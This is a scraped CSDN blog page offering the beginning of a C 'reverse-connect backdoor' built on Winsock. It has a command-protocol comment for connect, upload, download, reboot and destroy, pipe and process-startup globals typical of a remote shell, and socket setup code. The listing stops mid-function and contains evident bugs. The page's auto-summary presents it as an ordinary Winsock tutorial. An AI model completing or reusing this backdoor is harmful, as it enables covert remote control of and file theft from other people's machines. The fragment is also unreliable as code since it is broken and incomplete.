c语言后门,C语言做的后门【反连】

本文介绍了Windows Socket(Winsock)编程的基础概念,包括如何加载Winsock库、创建套接字以及进行连接操作。文章详细阐述了CONNECT、LISTEN、ACCEPT等状态,并展示了使用WSASend和WSARecv进行数据传输的示例代码。此外,还涉及到了错误处理和套接字状态的管理。
摘要由CSDN通过智能技术生成

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

/*

Protocol of connection

Connect : CONN

Connected Success : SUCC

Reboot : REBT   暂时不可用

Upload : UPLD

Download : DNLD

Destroy : DTOY   暂时不可用

Help : HELP    暂时不可用

OK : START TO TRANSFER FILE

DoneTrans : Finish Transferring

*/

#include

#include

#include

#define CONNECT 0

#define LISTEN 1

#define ACCEPT 2

#define 加载WSA() LoadWSA()

#define 初始化套接字(地址的指针,设置,链接阵列,监听中的套接字) LoadSOCKET(地址的指针,设置,链接阵列,监听中的套接字)

#define 发送(套接字,缓冲区,数据长度) WSASend(套接字,缓冲区,数据长度)

#define 接受(套接字,数据长度) WSARecv(套接字,数据长度)

#define CONNECT 0

#define LISTEN 1

#define ACCEPT 2

#define INVALID_SETTING -50 //参数错误

#define MAXIMUM 65535

#define MINIMUM 1

#define READ 0

#define WRITE 1

#pragma comment(lib,"ws2_32.lib")

SOCKET sock;

HANDLE hReadWrite1[2];

HANDLE hReadWrite2[2];

STARTUPINFO SI;

SECURITY_ATTRIBUTES sa;

struct sockaddr_in saddr;

struct hostent *host;

long Bytes;

FILE fp;

int LoadWSA()//加载Winsock库

{

WSADATA wd;

if(WSAStartup(0x0202,&wd)!=0)//加载失败时返回WSA错误码

{

return(WSAGetLastError());

}

return 0;//否则返回0

}

SOCKET LoadSOCKET(struct sockaddr_in *saddr,int SET,int array,SOCKET ListenSocket)

{

SOCKET sock;

int size=sizeof(struct sockaddr);

if(SET<2)//如果传入设置为ACCEPT

{

sock=socket(AF_INET,SOCK_STREAM,0);

}

if(saddr=NULL)//传入空白的saddr

{

return -50;

}

switch(SET)

{

case 0://如果为CONNECT

{

if(connect(sock,(struct sockaddr*)&saddr,sizeof(struct sockaddr))<0)

{

return NULL;

}

}

case 1://如果为LISTEN

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值